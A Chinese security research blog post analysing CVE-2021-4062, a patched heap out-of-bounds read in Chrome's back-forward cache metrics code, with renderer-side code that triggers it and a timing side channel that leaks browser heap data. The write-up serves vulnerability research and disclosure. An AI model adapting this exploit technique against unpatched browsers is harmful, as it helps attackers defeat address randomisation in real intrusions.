Defeat Time With Time

作者: 360漏洞研究院 李超 分类: 安全研究,漏洞分析 发布时间: 2022-06-16 03:11

之前发现的一处堆上越界访问的漏洞 CVE-2021-4062 前段时间公开了,刚好借此机会梳理分享一下这个漏洞的一些细节。

在Chrome中,browser进程的堆地址泄露一直以来是个难题,有时挖到了一个UAF的漏洞却因为没有堆地址信息而难以构造结构体以进行后续的利用。而 CVE-2021-4062 便是一个可以通过越界访问泄露堆地址的漏洞,全平台适用。

The Bug

我们直接来看漏洞出在哪里:

void DispatchEventsAfterBackForwardCacheRestore(
    PageLoadMetricsObserver* observer,
    const std::vector<mojo::StructPtr<mojom::BackForwardCacheTiming>>&
        last_timings,
    const std::vector<mojo::StructPtr<mojom::BackForwardCacheTiming>>&
        new_timings) {
  DCHECK_GE(new_timings.size(), last_timings.size());

  for (size_t i = 0; i < new_timings.size(); i++) {// <<<<<<<<=======
    auto first_paint =
        new_timings[i]->first_paint_after_back_forward_cache_restore;
    if (!first_paint.is_zero() &&
        (i >= last_timings.size() ||
         last_timings[i]
             ->first_paint_after_back_forward_cache_restore.is_zero())) {
      observer->OnFirstPaintAfterBackForwardCacheRestoreInPage(*new_timings[i],
                                                               i);// <<<<<<<<=======
    }

    auto request_animation_frames =
        new_timings[i]
            ->request_animation_frames_after_back_forward_cache_restore;
    if (request_animation_frames.size() == 3 &&
        (i >= last_timings.size() ||
         last_timings[i]
             ->request_animation_frames_after_back_forward_cache_restore
             .empty())) {
      observer->OnRequestAnimationFramesAfterBackForwardCacheRestoreInPage(
          *new_timings[i], i);// <<<<<<<<=======
    }

    auto first_input_delay =
        new_timings[i]->first_input_delay_after_back_forward_cache_restore;
    if (first_input_delay.has_value() &&
        (i >= last_timings.size() ||
         !last_timings[i]
              ->first_input_delay_after_back_forward_cache_restore
              .has_value())) {
      observer->OnFirstInputAfterBackForwardCacheRestoreInPage(*new_timings[i],
                                                               i);<<<<<<<<=======
    }
  }
}

在函数DispatchEventsAfterBackForwardCacheRestore中,代码会对传入的vector new_timings做遍历,而同时会将i传入三个通知函数中使用。

我们继续跟进函数中查看这三个函数使用i做了什么事情,由于三个函数代码逻辑相似,在此我们以OnFirstPaintAfterBackForwardCacheRestoreInPage为例:

void BackForwardCachePageLoadMetricsObserver::
    OnFirstPaintAfterBackForwardCacheRestoreInPage(
        const page_load_metrics::mojom::BackForwardCacheTiming& timing,
        size_t index) {// <<<<<<<<=======
  auto first_paint = timing.first_paint_after_back_forward_cache_restore;
  DCHECK(!first_paint.is_zero());
  if (page_load_metrics::
          WasStartedInForegroundOptionalEventInForegroundAfterBackForwardCacheRestore(
              first_paint, GetDelegate(), index)) {// <<<<<<<<=======
    PAGE_LOAD_HISTOGRAM(
        internal::kHistogramFirstPaintAfterBackForwardCacheRestore,
        first_paint);

    // HistoryNavigation is a singular event, and we share the same instance as
    // long as we use the same source ID.
    ukm::builders::HistoryNavigation builder(
        GetUkmSourceIdForBackForwardCacheRestore(index));// <<<<<<<<=======
    builder.SetNavigationToFirstPaintAfterBackForwardCacheRestore(
        first_paint.InMilliseconds());
    builder.Record(ukm::UkmRecorder::Get());
    [...]
  }
}

代码将传入的i作为index传入WasStartedInForegroundOptionalEventInForegroundAfterBackForwardCacheRestore和GetUkmSourceIdForBackForwardCacheRestore两个函数中使用,我们继续跟进看一下这两个函数是如何使用的:

1.
WasStartedInForegroundOptionalEventInForegroundAfterBackForwardCacheRestore:
bool WasStartedInForegroundOptionalEventInForegroundAfterBackForwardCacheRestore(
    const absl::optional<base::TimeDelta>& event,
    const PageLoadMetricsObserverDelegate& delegate,
    size_t index) {// <<<<<<<<=======
  const auto& back_forward_cache_restore =
      delegate.GetBackForwardCacheRestore(index);// <<<<<<<<=======
  absl::optional<base::TimeDelta> first_background_time =
      back_forward_cache_restore.first_background_time;
  return back_forward_cache_restore.was_in_foreground && event &&
         (!first_background_time ||
          event.value() <= first_background_time.value());
}

const PageLoadMetricsObserverDelegate::BackForwardCacheRestore& PageLoadTracker::GetBackForwardCacheRestore(size_t index) const {// <<<<<<<<=======
  return back_forward_cache_restores_[index];// <<<<<<<<=======
}
std::vector<BackForwardCacheRestore> back_forward_cache_restores_;


2.
GetUkmSourceIdForBackForwardCacheRestore:
int64_t BackForwardCachePageLoadMetricsObserver::
    GetUkmSourceIdForBackForwardCacheRestore(size_t index) const {// <<<<<<<<=======
  DCHECK_GT(back_forward_cache_navigation_ids_.size(), index);
  int64_t navigation_id = back_forward_cache_navigation_ids_[index];// <<<<<<<<=======
  DCHECK_NE(ukm::kInvalidSourceId, navigation_id);
  return ukm::ConvertToSourceId(navigation_id,
                                ukm::SourceIdType::NAVIGATION_ID);
}
// IDs for the navigations when the page is restored from the back-forward
// cache.
std::vector<ukm::SourceId> back_forward_cache_navigation_ids_;

可以看到代码未经检查便以index为索引分别访问了back_forward_cache_restores和back_forward_cache_navigation_ids两个vector。

那么如果起始传入的new_timings的长度与这两个vector长度不一致的话,便会产生越界访问的问题。

我们以back_forward_cache_restores_为例,追踪一下传入的new_timings和它是否有联系,它们分别是如何增减元素以及使用的,来看一下是否能够控制这两个容器内容。

new_timings

模块功能

漏洞代码所处的模块是components下的page_load_metrics模块,该模块如其名字所述是为了记录在页面加载期间产生的UMA(User Metrics Analysis) metrics,即记录用户加载页面过程中的加载时间、渲染时间等信息,为了后续可以发送给google来帮助Chrome/Chromium优化用户体验的目的。

new_timings来源

而漏洞所在的DispatchEventsAfterBackForwardCacheRestore根据名字可以看出是为了分发在BackForwardCache恢复之后产生的事件,它会根据last_timings和new_timings中所记录的信息来分情况处理记录更全面的信息。关于什么是BackForwardCache我们下一节会讲到。

而我们跟踪一下该函数的交叉引用:

PageLoadMetricsUpdateDispatcher::MaybeDispatchTimingUpdates()
=> PageLoadMetricsUpdateDispatcher::DispatchTimingUpdates()
=> PageLoadTracker::OnTimingChanged(){
    [...]
    for (const auto& observer : observers_) {
        DispatchObserverTimingCallbacks(observer.get(),
                                    *last_dispatched_merged_page_timing_,
                                    metrics_update_dispatcher_.timing());// <<<<<====
      }
    [...]
}
    => DispatchObserverTimingCallbacks(, ,const mojom::PageLoadTiming& new_timing){
            [...]
            DispatchEventsAfterBackForwardCacheRestore(
                observer, last_timing.back_forward_cache_timings,
                new_timing.back_forward_cache_timings);// <<<<<====
            [...]
    }
=>void DispatchEventsAfterBackForwardCacheRestore(
    PageLoadMetricsObserver* observer,
    const std::vector<mojo::StructPtr<mojom::BackForwardCacheTiming>>&
        last_timings,
    const std::vector<mojo::StructPtr<mojom::BackForwardCacheTiming>>&
        new_timings) {// <<<<<====
[...]
}

发现其实在Timing信息发生变化需要做出新的记录时,PageLoadTracker会将新的Timing信息做出分发,而DispatchEventsAfterBackForwardCacheRestore负责处理其中的back_forward_cache_timings信息,这也就是传入漏洞函数中的new_timings。

如何更新Timing信息

由于page_load相关的事件众多,造成Timing信息变化的原因也多种多样,可以更新Timing信息的调用路径繁多且复杂。我最终找到了一条传入参数可控的ipc消息能够更新Timing信息,较为灵活地达成目的:

// Sent from renderer to browser process when the PageLoadTiming for the
// associated frame changed.
interface PageLoadMetrics {
  // Called when an update is ready to be sent from renderer to browser.
  // UpdateTiming calls are buffered, and contain all updates that have been
  // received in the last buffer window. Some of the update data may be empty.
  // Only called when at least one change has been observed within the frame.
  UpdateTiming(PageLoadTiming page_load_timing,
               FrameMetadata frame_metadata,
               // `new_features` will not contain any previously seen values.
               array<blink.mojom.UseCounterFeature> new_features,
               array<ResourceDataUpdate> resources,
               FrameRenderDataUpdate render_data,
               CpuTiming cpu_load_timing,
               DeferredResourceCounts new_deferred_resource_data,
               InputTiming input_timing_delta,
               blink.mojom.MobileFriendliness? mobile_friendliness);
    [...]
}

=> MetricsWebContentsObserver::UpdateTiming
    => MetricsWebContentsObserver::OnTimingUpdated
        => PageLoadTracker::UpdateMetrics
            => PageLoadMetricsUpdateDispatcher::UpdateMetrics
                => UpdateMainFrameTiming/UpdateSubFrameTiming
                    => PageLoadMetricsUpdateDispatcher::MaybeDispatchTimingUpdates

而其中所传入的类型为PageLoadTiming的page_load_timing即为要更新的Timing信息,进一步看一下其结构体:

struct PageLoadTiming {
  [...]
  // List of back-forward cache timings, one for each time a page was restored
  // from the cache.
  array<BackForwardCacheTiming> back_forward_cache_timings;

  [...]
};

back_forward_cache_timings即为传入漏洞函数中的new_timings,因而我们可以在满足一定约束条件的前提下完全控制该参数。

如何调用该ipc接口

我们可以看到它是一个frame-specific associated interface,可以在renderer侧通过

render_frame->GetRemoteAssociatedInterfaces()->GetInterface(&remote_handle)

获取到remote进行方法调用。但我们此处由于调用参数构造较为繁琐,因而直接使用PageTimingMetricsSender上下文构造参数,利用其成员变量sender_的SendTiming方法的封装进行UpdateTiming的调用:

base::TimeDelta ClampDelta(int64_t event, int64_t start) {
  return base::Time::FromInternalValue(event) - base::Time::FromInternalValue(start);
}

void PageTimingMetricsSender::SendToTriggerHof() {
  mojom::PageLoadTimingPtr tmp_pltiming0(last_timing_->Clone());

  // auto back_forward_cache_timing0 = mojom::BackForwardCacheTiming::New();
  auto back_forward_cache_timing0 = mojom::BackForwardCacheTiming::New();
  auto back_forward_cache_timing1 = mojom::BackForwardCacheTiming::New();
  back_forward_cache_timing0
      ->first_paint_after_back_forward_cache_restore =
      ClampDelta(0, 0);
  back_forward_cache_timing1
      ->first_input_delay_after_back_forward_cache_restore =
      ClampDelta(0, 0);
  tmp_pltiming0->back_forward_cache_timings.push_back(std::move(back_forward_cache_timing0));
  tmp_pltiming0->back_forward_cache_timings.push_back(std::move(back_forward_cache_timing1));
  std::vector<mojom::ResourceDataUpdatePtr> resources;
  sender_->SendTiming(tmp_pltiming0, metadata_, new_features_, // <<<<<<<<<======
                      std::move(resources), render_data_, last_cpu_timing_,
                      new_deferred_resource_data_->Clone(),
                      input_timing_delta_->Clone(), mobile_friendliness_);
}

back_forward_cache_restores_

back_forward_cache_restores_功能

在分析该vector之前我们首先来看一下什么是Back/Forward Cache。

Back/Forward Cache是一种浏览器优化措施,它可以在用户进行向前向后导航时将当前的页面作为cache存储到entries_中,当Back/Forward到该页面时可以从entries_中快速恢复。

而当PageLoadTracker观测到发生导航行为,且要导航到的页面在Back/Forward Cache中时,便会将此时的开始时间、加载时间等信息存储到back_forward_cache_restores_中。

因此我们可以看到只有在此时back_forward_cache_restores_才会发生push_back:

void PageLoadTracker::OnRestoreFromBackForwardCache(
    content::NavigationHandle* navigation_handle) {
  [...]

  BackForwardCacheRestore back_forward_cache_restore(
      visible, navigation_handle->NavigationStart());
  back_forward_cache_restores_.push_back(back_forward_cache_restore);
    [...]
}

至此我们可以知道参数new_timings长度我们可以控制,back_forward_cache_restores长度又仅会随caches的多少而改变,我们已可以构造poc触发该问题。但为了后续的利用,我们还需要保证back_forward_cache_restores的长度不为0,这是由vector的结构决定的:

众所周知,当vector容器为空时其三个指针均为0,这样我们后续的越界读只能从0地址开始加偏移读取,由于后续会提到的一些偏移上的限制导致这样利用较为不便,因而我们还是需要向back_forward_cache_restores_加入元素,直接在堆上加偏移做越界。

向back_forward_cache_restores_ push元素

之前我们提到当发生导航行为,且要导航到的页面在Back/Forward Cache中时,PageLoadTracker会将时间等信息push入back_forward_cache_restores_中。现阶段Back/Forward Cache功能是默认开启的,那么只需要做一次Back/Forward即可:

poc.html

window.addEventListener('pageshow', function(event) {
    if (event.persisted){
        triggerBug();
    } else{
        setTimeout(()=>{
            location.href="http://127.0.0.1:8001/back.html";
        },1000);
    }
});

back.html

setTimeout(()=>{
    history.back();
},1000);

此时我们即可通过构造两个容器长度的不一致触发该越界问题,完整poc参加原始issue:

https://crbug.com/1272403

需要说明的是,在当时的版本还存在一些用户活动性校验和cache启用条件等限制,但已与现版本不同,因而在此不做过多赘述。

Exploit

利用点

我们现在已经了解了该漏洞的成因、触发方式和触发效果,那么该如何利用这一越界访问行为呢,我们先来看一下使用越界数据时附近的代码。上面我们提到过有back_forward_cache_restores和back_forward_cache_navigation_ids两个vector可以触发越界行为,我们分别看一下它们越界前后相关的逻辑:

back_forward_cache_navigation_ids_

void BackForwardCachePageLoadMetricsObserver::
    OnFirstPaintAfterBackForwardCacheRestoreInPage(
        const page_load_metrics::mojom::BackForwardCacheTiming& timing,
        size_t index) {// <<<<<<<<<======
      [...]
    // HistoryNavigation is a singular event, and we share the same instance as
    // long as we use the same source ID.
    ukm::builders::HistoryNavigation builder(// ---> [1]
        GetUkmSourceIdForBackForwardCacheRestore(index));// <<<<<<<<<======
    builder.SetNavigationToFirstPaintAfterBackForwardCacheRestore(
        first_paint.InMilliseconds());
    builder.Record(ukm::UkmRecorder::Get());// ---> [2]

    [...]
  }
}

int64_t BackForwardCachePageLoadMetricsObserver::
    GetUkmSourceIdForBackForwardCacheRestore(size_t index) const {// <<<<<<<<<======
  DCHECK_GT(back_forward_cache_navigation_ids_.size(), index);
  int64_t navigation_id = back_forward_cache_navigation_ids_[index];// <<<<<<<<<======
  DCHECK_NE(ukm::kInvalidSourceId, navigation_id);
  return ukm::ConvertToSourceId(navigation_id,
                                ukm::SourceIdType::NAVIGATION_ID);
}

[1]
UkmEntryBuilderBase::UkmEntryBuilderBase(ukm::SourceId source_id,
                                         uint64_t event_hash)
    : entry_(mojom::UkmEntry::New()) {
  entry_->source_id = source_id;
  entry_->event_hash = event_hash;
}

[2]
builder.Record(ukm::UkmRecorder::Get());
=>
void UkmEntryBuilderBase::Record(UkmRecorder* recorder) {
  if (recorder)
    recorder->AddEntry(std::move(entry_));
  else
    entry_.reset();
}
UkmRecorder* UkmRecorder::Get() {
  // Note that SourceUrlRecorderWebContentsObserver assumes that
  // DelegatingUkmRecorder::Get() is the canonical UkmRecorder instance. If this
  // changes, SourceUrlRecorderWebContentsObserver should be updated to match.
  return DelegatingUkmRecorder::Get();
}

可以看到对back_forward_cache_navigation_ids_的使用上,利用在index偏移上取到的数据作为source_id去初始化一个UkmBuilder的UkmEntry。

而后续该UkmBuilder通过Record方法将该UkmEntry加入到传入的recorder中,且传入的recorder是browser中的in-process service。因此后续使用上,renderer侧较难获取到该数据或受到该数据影响。

back_forward_cache_restores_

void BackForwardCachePageLoadMetricsObserver::
    OnFirstPaintAfterBackForwardCacheRestoreInPage(
        const page_load_metrics::mojom::BackForwardCacheTiming& timing,
        size_t index) {// <<<<<<<<<======
  auto first_paint = timing.first_paint_after_back_forward_cache_restore;
  DCHECK(!first_paint.is_zero());
  if (page_load_metrics::
          WasStartedInForegroundOptionalEventInForegroundAfterBackForwardCacheRestore(
              first_paint, GetDelegate(), index)) {// <<<<<<<<<======
    [...]
  }
}

bool WasStartedInForegroundOptionalEventInForegroundAfterBackForwardCacheRestore(
    const absl::optional<base::TimeDelta>& event,
    const PageLoadMetricsObserverDelegate& delegate,
    size_t index) {// <<<<<<<<<======
  const auto& back_forward_cache_restore =
      delegate.GetBackForwardCacheRestore(index);// <<<<<<<<<======
  absl::optional<base::TimeDelta> first_background_time = // <<<<<<<<<======
      back_forward_cache_restore.first_background_time;
  return back_forward_cache_restore.was_in_foreground && event &&
         (!first_background_time ||
          event.value() <= first_background_time.value());// <<<<<<<<<======
}

const PageLoadMetricsObserverDelegate::BackForwardCacheRestore&
PageLoadTracker::GetBackForwardCacheRestore(size_t index) const {
  return back_forward_cache_restores_[index];// <<<<<<<<<======
}

而对于back_forward_cache_restores_的使用上,则是利用index偏移在vector中取到结构体back_forward_cache_restore,并将其成员变量first_background_time的值与传入的event的值作比较,而event来自timing.first_paint_after_back_forward_cache_restore,是我们ipc传入的类型为BackForwardCacheTiming的array back_forward_cache_timings中可控的值:

// TimeDelta below relative to the navigation start of the navigation restoring
// page from the back- forward cache.
struct BackForwardCacheTiming {
  // Time when the first paint is performed after the time when the page
  // is restored from the back-forward cache.
  mojo_base.mojom.TimeDelta first_paint_after_back_forward_cache_restore;

  [...]
};

可以看出如果发生越界,其对越界相关数据本身没有记录和回传,而是与我们可控的数据进行比较并作为判断条件执行不同的分支。因而我们考虑能否多次调用该部分逻辑,记录比较时间消耗来通过类似于侧信道的方式泄露越界读取的内容。

执行时间比较

我们之前提到过PageLoadMetrics是一个frame-specific associated interface:

void ChromeContentBrowserClient::
    RegisterAssociatedInterfaceBindersForRenderFrameHost(
        content::RenderFrameHost& render_frame_host,
        blink::AssociatedInterfaceRegistry& associated_registry) {
[...]
    associated_registry.AddInterface(base::BindRepeating(
        [](content::RenderFrameHost* render_frame_host,
           mojo::PendingAssociatedReceiver<
               page_load_metrics::mojom::PageLoadMetrics> receiver) {
          page_load_metrics::MetricsWebContentsObserver::BindPageLoadMetrics(// <<<<===
              std::move(receiver), render_frame_host);
        },
        &render_frame_host));
[...]
}

void RenderFrameHostImpl::SetUpMojoConnection() {
[...]
// Allow embedders to register their binders.
  GetContentClient()
      ->browser()
      ->RegisterAssociatedInterfaceBindersForRenderFrameHost(
          *this, *associated_registry_);
[...]
}

可以看到它使用的还是navigation-associated interface的channel,因为对于同一AgentSchedulingGroup的channel上的associated interfaces都是有序的,我们只需要在这些interfaces中选择具有返回值的interface,分别在多次调用UpdateTiming之前和之后通过其回调记录时间,即可确定UpdateTiming调用的执行时间。

我们在考虑interface的方法调用上下文依赖程度、可能会带来的副作用等因素后,可以选取LocalMainFrameHost的UpdateTargetURL方法:

void RenderFrameHostImpl::SetUpMojoConnection() {
[...]
    associated_registry_->AddInterface(base::BindRepeating(
        [](RenderFrameHostImpl* impl,
           mojo::PendingAssociatedReceiver<blink::mojom::LocalMainFrameHost>// <<<<<<===
               receiver) {
          impl->local_main_frame_host_receiver_.Bind(std::move(receiver));
          impl->local_main_frame_host_receiver_.SetFilter(
              impl->CreateMessageFilterForAssociatedReceiver(
                  blink::mojom::LocalMainFrameHost::Name_));
        },
        base::Unretained(this)));
[...]
}

// Implemented in Browser, this interface defines local-main-frame-specific
// methods that will be invoked from the renderer process (e.g. WebViewImpl).
interface LocalMainFrameHost {
[...]
  // Notifies the browser that we want to show a destination url for a potential
  // action (e.g. when the user is hovering over a link). Implementation of this
  // method will reply back to the renderer once the target URL gets received,
  // in order to prevent target URLs spamming the browser.
  UpdateTargetURL(url.mojom.Url url) => ();
[...]
}

并通过UpdateTargetURL的回调在重复调用UpdateTiming方法前后记录当前时间:

lmfh_->UpdateTargetURL(GURL("about:blank"), WTF::Bind(&TriggerWrapper::GetTimeCallback, WTF::Unretained(this)));<<<<-----First Call

void GetTimeCallback(){
    base::Time tmp_time = base::Time::Now();
    if (tmp_time_record_.is_null()) {
      tmp_time_record_ = tmp_time;
            [...]
            frame_->TriggerHof(offset_, UnintToInt(value));<<<<-----Muti UpdateTiming
      lmfh_->UpdateTargetURL(GURL("about:blank"), WTF::Bind(&TriggerWrapper::GetTimeCallback, WTF::Unretained(this)));<<<<-----Second Call
        } else {
            double time_diff = tmp_time.ToInternalValue()-tmp_time_record_.ToInternalValue();
            [...]
            if(search_begin_ == search_end_){
        return; <<<<-----Search Done
      }
      tmp_time_record_ = base::Time::FromInternalValue(0);
      lmfh_->UpdateTargetURL(GURL("about:blank"), WTF::Bind(&TriggerWrapper::GetTimeCallback, WTF::Unretained(this)));<<<<-----First Call
        }
}

经测试发现在每次重复调用0x4000次UpdateTiming时差异已较为显著:

time_base_为初始记录的不进入分支的时间差,time_diff 即为每次记录的时间差,可以看到进入分支所记录的时间约在1.1倍以上。根据此差异我们便可以二分来反复修改我们的输入进行比较,最终确定我们所越界读取到的数据内容:

可以看到泄露16字节数据需要大约10秒钟。需要注意的是由于比较是以int64_t进行的,因此只能每16字节进行泄露,且泄露时需要注意数据取值范围。

一些细节补充

越界范围

由于越界读取偏移范围是对于容器new_timings遍历时的循环变量i决定的,因此如果要泄露指定偏移内容需要在每次UpdateTiming时传入对应偏移长度的back_forward_cache_timings。

这也就决定了越界读取偏移范围无法太大,因为会受到ipc消息长度限制,而且需要和发送次数(影响分支时间差比值,影响比较的准确性)以及时间消耗做出平衡。因此需要利用一定的堆布局来尽量将要泄露的内容分配在越界访问对象后一定偏移内,同时要泄露的内存附近的内容由于比较条件的原因还存在一些限制。

timing更新逻辑

还有一点需要注意的是,如果调用UpdateTiming时new_timings没有变化则不会进入到漏洞所在逻辑,这样导致在多次调用UpdateTiming阶段每次传入的参数不能与上一次相同。

我们可以利用漏洞所在逻辑的那3个通知函数中OnFirstPaintAfterBackForwardCacheRestoreInPage和OnFirstInputAfterBackForwardCacheRestoreInPage的相似性,这两个函数都会调用到漏洞所在的比较分支函数,但是是对两个不同字段进行的比较。因而我们可以以相同的value传入,但在每次发送时切换两个字段来既保证new_timings的变化,又能充分利用逻辑对同一value进行比较:

void PageTimingMetricsSender::SendToTriggerHof(int index, int64_t value) {
  mojom::PageLoadTimingPtr tmp_pltiming0(last_timing_->Clone());
  mojom::PageLoadTimingPtr tmp_pltiming1(last_timing_->Clone());

  for(int i = 0; i < index - 1; i++){
    auto back_forward_cache_timing0 = mojom::BackForwardCacheTiming::New();
    auto back_forward_cache_timing1 = mojom::BackForwardCacheTiming::New();
    tmp_pltiming0->back_forward_cache_timings.push_back(std::move(back_forward_cache_timing0));
    tmp_pltiming1->back_forward_cache_timings.push_back(std::move(back_forward_cache_timing1));
  }
  auto back_forward_cache_timing0 = mojom::BackForwardCacheTiming::New();
  auto back_forward_cache_timing1 = mojom::BackForwardCacheTiming::New();
  back_forward_cache_timing0
      ->first_paint_after_back_forward_cache_restore =
      ClampDelta(value, 0);
  back_forward_cache_timing1
      ->first_input_delay_after_back_forward_cache_restore =
      ClampDelta(value, 0);
  tmp_pltiming0->back_forward_cache_timings.push_back(std::move(back_forward_cache_timing0));
  tmp_pltiming1->back_forward_cache_timings.push_back(std::move(back_forward_cache_timing1));
  for(int i = 0; i < 0x4000; i++){
    std::vector<mojom::ResourceDataUpdatePtr> resources;
    sender_->SendTiming(i%2 == 0 ? tmp_pltiming0 : tmp_pltiming1, metadata_, new_features_,
     std::move(resources), render_data_, last_cpu_timing_,
     input_timing_delta_->Clone(), mobile_friendliness_);
  }
}

Patch

关于漏洞的补丁则是加入了对索引范围的检查:

以及对传入new_timings的长度的检查:

Conclusion

本文详细分析了堆越界漏洞CVE-2021-4062的细节。

首先对与越界产生原因进行了说明,原因在于更新时间信息时传入的new_timings的长度可能与back_forward_cache_restores_/back_forward_cache_navigation_ids_不匹配。

之后介绍了new_timings与back_forward_cache_restores_长度及内容如何控制。

最后详细介绍了如何通过利用可控数据与越界读取数据的比较而进入不同分支这一逻辑,放大分支代码执行时间,通过执行时间差异来泄露越界访问内容。

巧合的是,漏洞本身是发生在时间信息的记录处理逻辑,而我们的利用通过了分支执行时间的差异来泄露地址信息,属实是deteat time with time了。